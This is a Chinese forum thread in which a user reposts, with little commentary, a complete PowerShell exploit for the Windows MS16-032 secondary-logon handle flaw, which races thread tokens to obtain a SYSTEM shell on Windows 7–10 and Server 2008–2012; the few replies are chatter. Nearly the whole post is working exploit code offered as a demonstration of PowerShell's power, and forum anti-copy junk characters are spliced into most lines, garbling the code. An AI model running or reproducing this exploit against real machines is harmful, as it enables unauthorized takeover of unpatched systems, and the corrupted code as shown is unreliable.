男人变态有什么错! 收藏本站
登陆 / 注册 搜索

阅读: 7.6K   回复: 4

[# 系统基础] 一个基于Powershell的提权代码

soarcloud 「龙战于野」 2016-8-13 09:01 |显示全部楼层

这个用户很懒,还没有填写自我介绍呢~

本帖最后由 soarcloud 于 2016-8-13 09:44 编辑 7 I$ E$ Z( u: F4 q9 b
. n. h  m, Z9 h0 X8 ~
之前转了一堆关于Powershell基础的帖子,但是估计大家对Powershell到底能做什么还是没有个具体概念。那么下面就贴个用于用户提权的Powershell代码,看了之后就应该明白Powershell能干什么了#j334:不要问我提权是什么,如果这个都不清楚,那么就再好好学学吧#j346:
. x0 F/ P8 ^  O1 R2 B
+ y7 U$ y/ |' j1 r* M7 b0 G
/ p) V  O) o  Yfunction Invoke-MS16-032 {
1 e- U8 k$ z# @, s<#0 ^2 z7 j! R7 u% C( \: a8 P7 P
.SYNOPSIS
& c; @$ V/ o3 U6 J: e
) `+ h8 v! T5 C2 B7 N( g    PowerShell implementation of MS16-032. The exploit targets all vulnerable* m5 s3 a6 |# q" g, e6 S" S
    operating systems that support PowerShell v2+. Credit for the discovery of
/ f, Y/ ~3 B0 x    the bug and the logic to exploit it go to James Forshaw (@tiraniddo).
* G; n: ^3 I! L- t6 j. L& _! }: ?% p8 a9 b; K) T, s9 t* a
    Targets:
0 c& a0 u4 J- L1 ?5 J- U' `( c5 \/ v
    * Win7-Win10 & 2k8-2k12 <== 32/64 bit!: i' X' a) X6 y; M  s
    * Tested on x32 Win7, x64 Win8, x64 2k12R2
9 m& m+ H( a  J7 @  t1 P* ~2 J3 n0 a7 |  _+ x, t: m# L3 M6 s7 a
    Notes:' Q9 `$ o- x. P4 Q) N
! {# K; a; D5 [( p
    * In order for the race condition to succeed the machine must have 2+ CPU
9 `  P0 `# _# l# v+ |( g      cores. If testing in a VM just make sure to add a core if needed mkay.
) D  _6 w- W# q- f: P1 t, P% L    * The exploit is pretty reliable, however ~1/6 times it will say it succeeded7 @+ X. U- C4 {5 @
      but not spawn a shell. Not sure what the issue is but just re-run and profit!
1 R$ |7 @, E) F# d    * Want to know more about MS16-032 ==>
5 T- R7 P5 B7 b5 A" s      https://googleprojectzero.blogspot.co.uk/2016/03/exploiting-leaked-thread-handle.html
5 W) A' d  \% I.DESCRIPTION
; Z- @* x4 Z" z        Author: Ruben Boonen (@FuzzySec)6 S; r% j% f+ S1 F! N  m
        Blog: http://www.fuzzysecurity.com/
# l& Z; k) R) N# M# `% ?& s        License: BSD 3-Clause
7 w& l, W! Z- u$ B( y8 G        Required Dependencies: PowerShell v2+# ]/ C4 O1 q8 Y; y0 v7 T4 L
        Optional Dependencies: None( u7 `) Z* ]! r2 W0 j% r- I
        E-DB Note: Source ~ https://twitter.com/FuzzySec/status/723254004042612736- O) B0 C/ R6 u

! \/ K  X( D" ]2 K8 T.EXAMPLE$ {' S( j" g0 P; @' ?
        C:\PS> Invoke-MS16-032
$ {4 Z. K8 O( _  t* S#># I" b4 m2 G% [2 Y* r! x
        Add-Type -TypeDefinition @"
! A! ~! @9 p3 U$ P" `) I        using System;9 R/ D1 |1 W, F% V7 D
        using System.Diagnostics;) M6 ?$ U, q+ x. C
        using System.Runtime.InteropServices;
# _5 U( I' j" z# t4 [9 L+ B7 s        using System.Security.Principal;  z6 J$ N3 I: ]9 o8 E* g
        0 \1 N$ S* ^# L1 U8 B
        [StructLayout(LayoutKind.Sequential)]
+ @3 B( f' \0 `        public struct PROCESS_INFORMATION8 c* ?, n; H/ v3 u
        {
" [! d3 \" q! }) M! z                public IntPtr hProcess;
5 Y% E- G! H+ _, M5 o4 f: x& T                public IntPtr hThread;
& u- ~' I8 U# f( v6 V, W                public int dwProcessId;
! ^5 W. l3 \' m, m/ W% t. X! W2 B                public int dwThreadId;
# r5 y( n* F( m) t        }( b% L5 }, y7 E
        
3 Q  y6 B& E9 y4 n5 k% q# y/ B' r        [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)]% G2 B9 f. O0 d/ {  k$ Z6 Y+ q; q4 y
        public struct STARTUPINFO
! d  O' b; A! Q  W' K& w        {
% ]- y+ S4 M/ J$ f  g                public Int32 cb;8 C% d9 A% d/ x: |! ^4 O- ]: x
                public string lpReserved;6 N& p. ^2 m% T/ s, [! H0 D
                public string lpDesktop;# _6 B/ N6 f( D5 J4 ]) z- u% C& ]
                public string lpTitle;3 ]+ w% p$ b1 o3 t" G$ u$ [
                public Int32 dwX;; k& [: `8 v6 Y& C. Y& k& {
                public Int32 dwY;% A3 y3 C) @: D
                public Int32 dwXSize;& O% ~4 u, Q' K! Z, Q4 s
                public Int32 dwYSize;# W1 r! d  d7 h& [, G! |" F. T4 M1 u
                public Int32 dwXCountChars;' F( Z& ?$ d6 b! u8 B
                public Int32 dwYCountChars;/ S" v& r* x. w$ j) P4 @2 l6 C6 v
                public Int32 dwFillAttribute;+ J2 L3 N5 R9 p1 x: `
                public Int32 dwFlags;: j3 N8 v9 Q" Z) J- I
                public Int16 wShowWindow;
/ C1 d* Q/ h7 z( }                public Int16 cbReserved2;5 ~1 Y, {# @9 }" @' p
                public IntPtr lpReserved2;- Q: f3 A3 ~+ v; e2 E9 l
                public IntPtr hStdInput;4 ^: y2 {9 J/ X. D
                public IntPtr hStdOutput;+ B- K9 s$ f& Y. i& r& x
                public IntPtr hStdError;
6 `" J1 I& P4 `- \        }" P/ K4 C  t* U6 b2 w6 e
        
$ U' P6 s, J$ O/ w3 K2 Q        [StructLayout(LayoutKind.Sequential)]
9 ~, {* ?- z4 P% H& T# V0 r        public struct SQOS
$ @" P; l9 t8 [0 U        {
" j4 B! P/ k% A; u5 u8 R' r+ X+ q  E                public int Length;6 Y2 H, Z; }8 @+ x$ ~
                public int ImpersonationLevel;
; y$ `3 W# {8 n7 B                public int ContextTrackingMode;
/ J4 b4 r  W7 S% u% E# M                public bool EffectiveOnly;
" E6 J2 Z/ U5 ~" B+ N' j* o* _2 p        }
# A) A6 Q, ^/ e' t% _& \) q' j        8 T* \7 A3 K" {1 `
        public static class Advapi32
2 z9 p4 B# l/ y9 H9 Y; G        {
  O! b  C5 t, r5 J$ {/ T7 y$ n2 w                [DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)]
7 A) d$ N' v$ z; g                public static extern bool CreateProcessWithLogonW(7 A1 G& p7 O, J6 A% R) B- X
                        String userName,
9 G. V! `# b" X, Y                        String domain,$ G: X* i8 z7 R( e2 J
                        String password," ^* J0 S* i! [5 c
                        int logonFlags,
, o! A& ^2 m# Z7 o+ t; n                        String applicationName,
. T  j5 m) G3 k' p- z, k) E                        String commandLine,
5 W0 K- A. a2 a# s                        int creationFlags,  S5 D4 V7 d9 z; r  U0 O; l
                        int environment,
7 L5 U- |  {5 I8 d) o                        String currentDirectory,
+ D4 _# P( t- d1 W  f                        ref  STARTUPINFO startupInfo,6 \/ H3 Y, h, F& |
                        out PROCESS_INFORMATION processInformation);6 U$ z9 j- j7 ~% p6 |
                        * w& x! r1 F, t+ l" k! D- P$ P
                [DllImport("advapi32.dll", SetLastError=true)]# b3 u) |2 g, n9 b( Z, P6 v0 I
                public static extern bool SetThreadToken(
- h# v9 `3 @0 u2 X- o1 y( \                        ref IntPtr Thread,
' }* y+ W+ O! G. C                        IntPtr Token);
* ^; j" R8 j- K  n9 w                        : [' z: P" X  O, D$ o( A- u8 \% P
                [DllImport("advapi32.dll", SetLastError=true)]
4 W3 u# i" h! u( l' d0 o9 v! F                public static extern bool OpenThreadToken(
3 l% u8 A+ l9 A+ {# Q! e: Q& V                        IntPtr ThreadHandle,
, l: C/ h: L% i                        int DesiredAccess,
- A- D* N" R7 R1 P% ]                        bool OpenAsSelf,
2 J' E" j) a5 L1 ]7 g9 @                        out IntPtr TokenHandle);
2 O: C" @, |6 V& k: J. o8 A                        & c  `5 s7 z) m1 c
                [DllImport("advapi32.dll", SetLastError=true)]
9 z( V. ?7 ~# S" X) X$ W                public static extern bool OpenProcessToken(2 {0 f9 V: ?: |
                        IntPtr ProcessHandle,
; r( y2 o0 L. h                        int DesiredAccess,
' h0 R) ]9 L. A( i                        ref IntPtr TokenHandle);- d& e- |, h! Q' N7 i6 W& j9 O8 p
                        
0 D) G% D6 }0 ^  l# w                [DllImport("advapi32.dll", SetLastError=true)]
+ y) {9 F6 H; n; K+ X; S% X  p$ i, o                public extern static bool DuplicateToken(
2 N1 Z0 S6 |  ]; a+ T% w+ c" b3 o                        IntPtr ExistingTokenHandle,
5 J4 e6 c; H0 D& C8 k& N( A                        int SECURITY_IMPERSONATION_LEVEL,; w- o. U9 u  P" x0 y( i' u
                        ref IntPtr DuplicateTokenHandle);6 D1 m) y2 J4 @% L4 J1 |3 h
        }
+ O" R( @2 B' a+ S8 x$ V        " Y/ f* ^7 M( F2 q3 W
        public static class Kernel32  h6 Z6 e7 j) }+ N1 p+ U( @
        {% y$ |! Q. F- `, I; |
                [DllImport("kernel32.dll")]# N8 T' v6 j, Y4 y7 [* f
                public static extern uint GetLastError();3 t4 V" U3 S+ A- r
        
; `) x; ]5 S* R' t7 ~                [DllImport("kernel32.dll", SetLastError=true)]
, x# C/ I- A' h* O6 [9 ~- a                public static extern IntPtr GetCurrentProcess();
; R- P, w" E! z8 G        
6 l: L/ L1 v- M" b% P) S4 o, t                [DllImport("kernel32.dll", SetLastError=true)]
! ]! ~+ ?6 M7 Z# [& k0 u                public static extern IntPtr GetCurrentThread();
/ a, }% i' J4 A/ o4 t2 H, F4 ?  c               
/ w) P( o" i/ V/ r+ R. Y/ O; {! j                [DllImport("kernel32.dll", SetLastError=true)]
% Y7 e: x) W- L% @. t" `5 t4 X                public static extern int GetThreadId(IntPtr hThread);: L2 n9 O  `, c3 N
               
- ?5 \& y' O  f# g/ y" q/ C                [DllImport("kernel32.dll", SetLastError = true)]6 ?; F: G# R$ w! p/ r
                public static extern int GetProcessIdOfThread(IntPtr handle);7 Y! X3 U1 m9 j: D) U$ i
               
& c5 p. M# D& [5 k6 L" X                [DllImport("kernel32.dll",SetLastError=true)]
3 E! f* W7 y; Z6 e1 `9 u: l                public static extern int SuspendThread(IntPtr hThread);8 C. S7 @1 w# N& u
               
- f. F# q( D8 i; V* B                [DllImport("kernel32.dll",SetLastError=true)]" |5 f" v' J/ {6 |# q( v! E4 `
                public static extern int ResumeThread(IntPtr hThread);
8 F, ?6 K# s" ^& \: u                5 P1 e* l- l4 O% @
                [DllImport("kernel32.dll", SetLastError=true)]: @2 w: l/ O# J& X! n# r1 I
                public static extern bool TerminateProcess(
4 W) W; ^* C; ~% v. ]' x2 ~                        IntPtr hProcess,: b$ ]% w1 v9 g8 g6 z" j. u. s
                        uint uExitCode);
4 ]5 ]0 A5 r' Q$ z- h* x- \        
# c6 ~- L3 d& O! A4 N! j                [DllImport("kernel32.dll", SetLastError=true)]# O8 d5 V) b8 G4 Z9 ~
                public static extern bool CloseHandle(IntPtr hObject);
  _: \' @4 E. S& {. |                $ L& H. n7 w% A) ?
                [DllImport("kernel32.dll", SetLastError=true)]
9 z: I* M: K, H1 K6 V% K                public static extern bool DuplicateHandle(
! q8 u! k- D5 a1 |                        IntPtr hSourceProcessHandle,( i  w1 U0 E) V
                        IntPtr hSourceHandle,
2 N. L. H* b- b7 `5 r5 ~8 d1 O                        IntPtr hTargetProcessHandle,
/ ]* l( c9 {1 o9 G$ ~; [                        ref IntPtr lpTargetHandle,
% y  q. V0 |3 [/ F5 A/ n                        int dwDesiredAccess,$ Y) G: o, q7 r$ ?  p+ p# K' y
                        bool bInheritHandle,7 r$ B- S, R5 e, ]  S
                        int dwOptions);
8 p4 F9 L0 t* z8 X7 r        }
0 @0 U0 B5 `1 c/ n        
/ H# S0 j1 c2 X- d: \        public static class Ntdll  X! |: J/ S% R3 p; r
        {
/ a6 A1 ?3 M. ]% J4 Q$ m                [DllImport("ntdll.dll", SetLastError=true)], x6 \# ^7 X6 I' F2 ^, t
                public static extern int NtImpersonateThread(- Z& D" p6 z# t- O
                        IntPtr ThreadHandle,
1 ~, f/ O. p& p  _* @5 j0 y7 w                        IntPtr ThreadToImpersonate,
# O3 k6 p: _2 R- h1 W  a1 s4 J. j5 Q  g                        ref SQOS SecurityQualityOfService);
1 U9 i, q2 s9 ]% }        }
3 b* w/ \5 L0 m"@
" z5 p) ]8 i4 b  c0 C        ( ?: A2 g' j7 ~% }" X' @( c
        function Get-ThreadHandle {
5 Y4 Y0 d# h" h                # StartupInfo Struct! K& V' t2 N# B$ O6 N
                $StartupInfo = New-Object STARTUPINFO+ }$ i+ m' p: i1 w5 }
                $StartupInfo.dwFlags = 0x00000100 # STARTF_USESTDHANDLES& t+ \! _( y; X. u
                $StartupInfo.hStdInput = [Kernel32]::GetCurrentThread()
+ l8 R8 y; u  v  {                $StartupInfo.hStdOutput = [Kernel32]::GetCurrentThread()
' U3 C' O3 z6 J$ G7 D                $StartupInfo.hStdError = [Kernel32]::GetCurrentThread()+ r! N7 |! S, x4 v5 U' m" v9 p" O
                $StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size) Z; S" D: X# g; m  f
               
1 @/ w9 x! l+ Z5 w( P# j( W- Y                # ProcessInfo Struct3 X' f% H! L& u2 H
                $ProcessInfo = New-Object PROCESS_INFORMATION
) i; F) P+ N" _, u+ j" ^% A5 _               
% k! N) e9 V+ l- |: P# O                # CreateProcessWithLogonW --> lpCurrentDirectory9 M& S% {, s' D# m2 F% C
                $GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName% k, A6 B0 L# N1 ?! v% l: U
               
, x$ Z- b" g4 s( N+ b$ g# ]6 J0 L                # LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED, b2 X# s8 }, u7 b
                $CallResult = [Advapi32]::CreateProcessWithLogonW(
! k( `* v* f8 S                        "user", "domain", "pass",, _4 H' ~1 n8 ^0 n" _- {8 V" b# I
                        0x00000002, "C:\Windows\System32\cmd.exe", "",
  }3 V/ Z3 E6 O1 x! }) ~                        0x00000004, $null, $GetCurrentPath," L/ H5 @% l6 a& Y4 V7 ?; M
                        [ref]$StartupInfo, [ref]$ProcessInfo)1 ^% F) K: A; `3 `5 b6 e
                & x4 {- d% x$ x. y
                # Duplicate handle into current process -> DUPLICATE_SAME_ACCESS, d5 h, l9 v$ ]% F$ n/ O, N5 o
                $lpTargetHandle = [IntPtr]::Zero
: Q# t! N( z, A& a9 z                $CallResult = [Kernel32]::DuplicateHandle(
% }3 _, c# ~8 G& i5 Y                        $ProcessInfo.hProcess, 0x4,/ `4 ?7 ~2 y9 C7 n7 C, B$ R. g" p! y
                        [Kernel32]::GetCurrentProcess(),
& Z/ F7 @6 p$ Q" B0 y' ~9 `5 b& s                        [ref]$lpTargetHandle, 0, $false,5 i2 p8 b- L  R+ c
                        0x00000002)
9 ^* ~; i" I& w! ?8 m( }               
& b. o5 i3 i& A6 L6 o! v* r                # Clean up suspended process  U" `2 V$ B! j( h' K: h/ o# t( N
                $CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1)
- I# A! m$ a, I0 V                $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)1 x% z8 B4 c' u
                $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread)0 I, [- w+ v+ p
                ' p. @/ ?" E3 a! {; o) \; }
                $lpTargetHandle
2 b  h" k! \* ]0 i0 I        }; a8 s& z" D7 a7 W  T
        7 u; w! v, p2 D. R+ S# x' X9 V2 I4 p
        function Get-SystemToken {1 K# v* ^3 I7 u3 z' b
                echo "`n[?] Trying thread handle: $Thread"
- Y5 e. U5 Y# p5 G' n/ ]0 U# N$ @                echo "[?] Thread belongs to: $($(Get-Process -PID $([Kernel32]::GetProcessIdOfThread($Thread))).ProcessName)"
" @4 P  `: @* J5 X        / @+ I" D' u1 B
                $CallResult = [Kernel32]::SuspendThread($Thread)
8 N1 ^" `  t4 X4 k8 E* J                if ($CallResult -ne 0) {5 D' L, G/ W+ W; a
                        echo "[!] $Thread is a bad thread, moving on.."
8 h5 l+ l* }/ C9 h                        Return
# N. R/ T: {5 ?: l% h: F* D. ]                } echo "[+] Thread suspended", V$ Z  m2 I% {. \- U" B, M0 `4 ]
                5 M/ d( C6 K' r" z4 r6 K
                echo "[>] Wiping current impersonation token"+ K) ?2 L# L9 {  n
                $CallResult = [Advapi32]::SetThreadToken([ref]$Thread, [IntPtr]::Zero): l, K2 K3 W, _( O$ p9 i, V( H$ D' l
                if (!$CallResult) {) g  c4 W# z# O; x' }. r. P% \5 ~
                        echo "[!] SetThreadToken failed, moving on.."
0 `8 n$ v9 e6 N: |8 [3 u3 h                        $CallResult = [Kernel32]::ResumeThread($Thread)
+ ^. v6 [+ k" ?% N+ c                        echo "[+] Thread resumed!"
- g2 N/ t. J+ j; I( K( ~. z                        Return
: N: C5 u% |, X$ ~$ w$ f  `* @1 n                }
0 G) e' l$ p2 X' m9 e               
6 S8 e$ d+ Y  y2 [* `( L/ K7 K9 N                echo "[>] Building SYSTEM impersonation token"" f& L# h; @' b' Y* x4 l
                # SecurityQualityOfService struct5 m1 t) B$ s4 r( u: C1 u* V, M
                $SQOS = New-Object SQOS; {6 }% F# f( u
                $SQOS.ImpersonationLevel = 2 #SecurityImpersonation! V4 n9 ]$ v% Y8 D1 b
                $SQOS.Length = [System.Runtime.InteropServices.Marshal]::SizeOf($SQOS)
" L! M8 s" v" h; E. e                # Undocumented API's, I like your style Microsoft ;)" f( p. y4 R' ?4 G4 v- C) R
                $CallResult = [Ntdll]::NtImpersonateThread($Thread, $Thread, [ref]$sqos)
, {' l; ~9 G; q7 O: s                if ($CallResult -ne 0) {
9 B, b: [+ T! z9 `* j                        echo "[!] NtImpersonateThread failed, moving on.."
; t; D. K3 d5 M3 U: O5 f- S& W* z, V                        $CallResult = [Kernel32]::ResumeThread($Thread)) S! n; }5 [) G! y$ I7 I4 F1 ^9 F
                        echo "[+] Thread resumed!"5 j: m" M3 N- g! A& ^2 M- m) t
                        Return! z' `/ ^0 w7 Y1 F9 T
                }& k7 C+ e% m. d+ {9 h# p
        
5 E7 `; q9 ?5 _! r' B                $script:SysTokenHandle = [IntPtr]::Zero
( k) [. O0 s! K                # 0x0006 --> TOKEN_DUPLICATE -bor TOKEN_IMPERSONATE
# J" g& w! y$ Z0 M. w                $CallResult = [Advapi32]::OpenThreadToken($Thread, 0x0006, $false, [ref]$SysTokenHandle)
, p, g, E! H9 g. ]& l3 u                if (!$CallResult) {
+ h/ y5 x) i0 }) ]1 o( G3 n                        echo "[!] OpenThreadToken failed, moving on.."( e2 y  }9 S- Y; X$ X
                        $CallResult = [Kernel32]::ResumeThread($Thread)
; v9 L/ |) K  E9 V" K: `$ l- \                        echo "[+] Thread resumed!"
  c9 V$ s  Y8 A. E1 ]8 u                        Return
5 ^" l+ L0 i& S; w0 W                }
* P3 r% _3 }/ U5 g2 `9 p  c               
- C9 |5 o( i4 A# D5 }                echo "[?] Success, open SYSTEM token handle: $SysTokenHandle"
, H3 f) x! w  a                echo "[+] Resuming thread.."9 m; q. ^2 x$ `6 t
                $CallResult = [Kernel32]::ResumeThread($Thread)
& R. v& A1 d, m- E( |$ K& V5 ~" L( I        }3 F$ H  o$ l8 Y1 w/ z
        ; p& Y  x1 f% j! S) Y' W
        # main() <--- ;)3 Z3 M8 W  A' F! T3 Q
        $ms16032 = @"4 D7 A) H* S& P1 v& T+ v
         __ __ ___ ___   ___     ___ ___ ___
  O: h% A( x& N2 P9 y# Y$ ?& T. [6 E        |  V  |  _|_  | |  _|___|   |_  |_  |
+ C4 X  ]$ u' b* l3 J% R2 C& N  Q5 p        |     |_  |_| |_| . |___| | |_  |  _|! X1 M+ N+ {; j+ p" L& ?; s
        |_|_|_|___|_____|___|   |___|___|___|
: F! i9 E$ T' ?7 @' ~                                            0 e1 B! Y% T" g4 x2 ?' z- H# H' e
                       [by b33f -> @FuzzySec]  t$ U! P! J1 t( f( }
"@
& c; W! \1 l7 V* C/ W4 x" U0 O        % |& K  ?* u! w& l! T1 h) x/ k
        $ms16032/ E* z3 U; f1 _, o/ _" N% N6 w% T
        
' F8 b3 d' _! o% k9 _7 }$ f; i) E        # Check logical processor count, race condition requires 2+) ~! ?+ {" X9 P$ H; p; Y
        echo "`n[?] Operating system core count: $([System.Environment]::ProcessorCount)"* s/ Y0 e# W4 ~( ^
        if ($([System.Environment]::ProcessorCount) -lt 2) {9 [7 e4 H8 @3 e% x- O
                echo "[!] This is a VM isn't it, race condition requires at least 2 CPU cores, exiting!`n": K& s/ r, ~4 e  p/ d0 z
                Return) s  g' ?9 o$ w' f4 d; Z  ]! t( m
        }  `7 t9 W' X2 Z
        
/ V' z3 R: H+ r- ]+ G        # Create array for Threads & TID's
2 x. H% }8 S( x# H% a# D        $ThreadArray = @()7 Y1 _, S( k7 R) _
        $TidArray = @()
& B# ^# N0 I8 i- R        : {: J5 J- ]1 l  d! X% R5 ~1 B
        echo "[>] Duplicating CreateProcessWithLogonW handles.."
% i+ y9 H6 G' y: }5 L4 f        # Loop Get-ThreadHandle and collect thread handles with a valid TID6 v! O* o# r; B/ Z& a5 l% ^
        for ($i=0; $i -lt 500; $i++) {3 T! d! i$ u" b9 }' U( x& s2 k
                $hThread = Get-ThreadHandle  w& e0 J" H# A$ C
                $hThreadID = [Kernel32]::GetThreadId($hThread)6 `. |* M( @  U; u. Q8 j; u2 H5 h
                # Bit hacky/lazy, filters on uniq/valid TID's to create $ThreadArray
' q" k( p; C5 n                if ($TidArray -notcontains $hThreadID) {; t; K& D  V, y. c# s  E2 S
                        $TidArray += $hThreadID
! j3 S+ Z4 g/ T5 g; \                        if ($hThread -ne 0) {
/ ^; _% _' k5 p- b' ^6 v9 Z  C                                $ThreadArray += $hThread # This is what we need!
+ x) M$ j  J* U3 E: E                        }
4 {* O* ^8 M, s* y  F                }: M  |5 ^% W# U
        }
" ]' |+ A+ J0 O- I  _        4 i$ Z: G) f) z6 X+ ~  z+ M; n) n
        if ($($ThreadArray.length) -eq 0) {
$ \& N* O- ], a                echo "[!] No valid thread handles were captured, exiting!"
. y8 i) R  B$ K9 b                Return
. z% i/ J6 @& k+ c7 B$ s. p        } else {+ |( V+ y$ c, w
                echo "[?] Done, got $($ThreadArray.length) thread handle(s)!"1 ^9 [5 h( E5 |* t8 B" b. ^
                echo "`n[?] Thread handle list:"3 N/ E& h* D8 C9 O, c8 N$ l# @$ H: @
                $ThreadArray
0 K% C' N. K% u6 {# ~: [        }* A0 z3 g4 H( t3 m: r8 h3 h
        
1 L9 |* \* B0 j+ w! t0 m2 `        echo "`n Sniffing out privileged impersonation token.."' N  g* z1 T0 t' g- ^
        foreach ($Thread in $ThreadArray){
+ \  o2 b8 {$ W- X  h# H        4 V8 u2 ?5 k2 s, y! A
                # Get handle to SYSTEM access token0 {9 |1 L% |+ ?
                Get-SystemToken
2 H$ E/ ^: f9 h6 A               
! I7 [' x: ]4 t3 `3 _+ ]                echo "`n Sniffing out SYSTEM shell.."
/ [3 n& R! B" Z) `  V( a4 f/ h                echo "`n[>] Duplicating SYSTEM token"
' E- o( F5 D/ @1 Z, y6 c                $hDuplicateTokenHandle = [IntPtr]::Zero: R& {6 K* S' N" L7 _! f! j- F$ p5 ~
                $CallResult = [Advapi32]::DuplicateToken($SysTokenHandle, 2, [ref]$hDuplicateTokenHandle)
5 Y/ C5 f6 I1 Z* H( a. g               
# k* u8 B& Q4 o2 T' N; i                # Simple PS runspace definition
8 m* D. V8 I1 u3 F; N$ Q5 ~                echo "[>] Starting token race"' t" G/ s" s( O. S! _; @5 r
                $Runspace = [runspacefactory]::CreateRunspace()2 r' ]- D: x! F0 L( Y# R
                $StartTokenRace = [powershell]::Create()9 N/ G) l- k* b( q+ }
                $StartTokenRace.runspace = $Runspace
- X3 S" `1 P. V6 u* e                $Runspace.Open()! }& o! }# u! l# `/ s
                [void]$StartTokenRace.AddScript({
' R; |7 P( p; i                        Param ($Thread, $hDuplicateTokenHandle)
8 N& i2 f/ s7 q$ e/ @                        while ($true) {; [- z0 f* O8 P6 a1 |- r% Z
                                $CallResult = [Advapi32]::SetThreadToken([ref]$Thread, $hDuplicateTokenHandle)1 A) Z+ Q* x0 \; |
                        }& g$ {: U& E5 t2 a& p- q
                }).AddArgument($Thread).AddArgument($hDuplicateTokenHandle)5 a" w5 o) K, |# N* v* X; }) ^
                $AscObj = $StartTokenRace.BeginInvoke()
2 n( V% s# R3 S( f2 m+ a  j               
! V, P9 R0 }4 n- N8 `                echo "[>] Starting process race"3 D8 P) p+ Q, ?# w, _, m# Q
                # Adding a timeout (10 seconds) here to safeguard from edge-cases' d# t! E( Y. }& a: O1 n1 C
                $SafeGuard = [diagnostics.stopwatch]::StartNew()
& ~+ q/ A& d# n  W- r: v6 \) N) k# W9 j                while ($SafeGuard.ElapsedMilliseconds -lt 10000) {
  @% g: X: n0 P  J+ J3 F                # StartupInfo Struct
( l- X; E  i8 @9 T                $StartupInfo = New-Object STARTUPINFO
1 t/ F& P8 l4 {7 @% t7 Y                $StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size, \: G" P5 x& j! V& ?$ ]' m
                ' G' w5 k) n: f/ `# H  G# \8 F/ t
                # ProcessInfo Struct" ~( X* M9 [. e# e" x# |
                $ProcessInfo = New-Object PROCESS_INFORMATION$ h( y' w( y! E" Q& D  G+ l
               
. K8 ?) W$ P, W9 M% K# z                # CreateProcessWithLogonW --> lpCurrentDirectory
& C$ `6 h. o: s" E                $GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName
2 I7 |4 }# G7 N/ g2 Z                ' i4 @; k$ s% {, t5 Z/ V
                # LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED
% k, Q  R4 B* R6 N% V  O, r  `* O* Q                $CallResult = [Advapi32]::CreateProcessWithLogonW(
  u  ?" o3 D4 m( @2 K                        "user", "domain", "pass",8 n" b7 ~  z: e- M( v. F) D7 w1 }
                        0x00000002, "C:\Windows\System32\cmd.exe", "",0 C/ A" s/ v# V' u1 Z
                        0x00000004, $null, $GetCurrentPath,+ O1 j$ s6 g3 i
                        [ref]$StartupInfo, [ref]$ProcessInfo)0 ^0 a- \0 C- g& E
                        ) w1 e% k7 D' }
                $hTokenHandle = [IntPtr]::Zero
% U# y* b* }/ l! j+ e- R6 Y                $CallResult = [Advapi32]::OpenProcessToken($ProcessInfo.hProcess, 0x28, [ref]$hTokenHandle)
1 \' E* P) h5 S0 [* I                # If we can't open the process token it's a SYSTEM shell!7 X& A9 L, v1 h) E, j* K
                if (!$CallResult) {& O. ]6 |' k. h! I9 g+ r, Z
                        echo "[!] Holy handle leak Batman, we have a SYSTEM shell!!`n"
( ]6 l  J1 ^6 D# N" ^8 \                        $CallResult = [Kernel32]::ResumeThread($ProcessInfo.hThread)+ Z, u9 o+ |! A; R" t$ w, c1 F$ v# C
                        $StartTokenRace.Stop()' s  v! v2 g9 {3 l
                        $SafeGuard.Stop()
4 O8 E6 F( W1 P$ s( Y  G                        Return' p* j1 y  B. B: h+ q
                }
& m. V7 R, x( T& a  c                        
% c! k1 l& k5 x8 V                # Clean up suspended process
) f- q! d! k6 f" b. X! m5 j                $CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1)
/ L& Z8 K; z5 u3 P% a                $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)
0 W: J0 w0 h3 a* i# n# H) c                $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread)
* c+ B3 z7 }" t( j8 h                }7 @- z7 x2 j4 K8 d
                8 \- B. R) P" r% b$ A, F) b, f
                # Kill runspace & stopwatch if edge-case- I8 a# g+ D% _. u- j1 D
                $StartTokenRace.Stop()7 H2 {& X3 k  f) ~. ]
                $SafeGuard.Stop()
. P7 {, E/ _& r& r        }/ a" h3 O0 O! ~1 L+ ~! _, C+ x
}
6 F7 T- \9 p- z7 d5 B看完代码后,长期从事windows编程的同学应该已经看出来powershell的强大功能了吧。呵呵。
' s& f+ [4 d1 \1 K- W( Q8 P! r
' O7 X6 c5 H6 w  K
. ]7 D! _! }2 s2 H7 _- y

# q' ^. a0 q1 G: A9 a+ y* T
, ?; \4 g9 J# z! O8 f" P" w


小执念 古黑浩劫论坛大牛 2016-8-13 22:37 |显示全部楼层

可遇不可求的事:故乡的云,上古的玉,随手的诗,十九岁的你。

管理员
然而到现在我都不想去了解这个powershell
巴黎环抱的花海 「龙战于野」 2017-9-26 15:13 来自手机 |显示全部楼层

这个用户很懒,还没有填写自我介绍呢~

楼下的接上
梦纸 「出类拔萃」 2018-5-9 11:52 来自手机 |显示全部楼层

这个用户很懒,还没有填写自我介绍呢~

火钳刘明#j319:
一起一伏 「龙战于野」 2018-5-12 18:42 |显示全部楼层

这个用户很懒,还没有填写自我介绍呢~

畅游在词汇的海洋里 也难以找到恰如其分的感激之语 来表达感激之情,你是论坛的一盏明灯 期市里的一棵夜明珠 永放异彩你的帖子一定会让许多的有识之士获益匪浅 .让我们一起祝愿楼主文成武德仁义英明泽被苍生 一统江湖 天长地久 日月同辉!
您需要登录后才可以回帖 登录 | 免费注册  

本版积分规则

关于本站|大事记|小黑屋|古黑论 网站统计

GMT+8, 2020-11-25 02:02 , Processed in 0.033352 second(s), 18 queries , Redis On.

© 2015-2020 GuHei.Net

Powered by Discuz! X3.4

快速回复 返回列表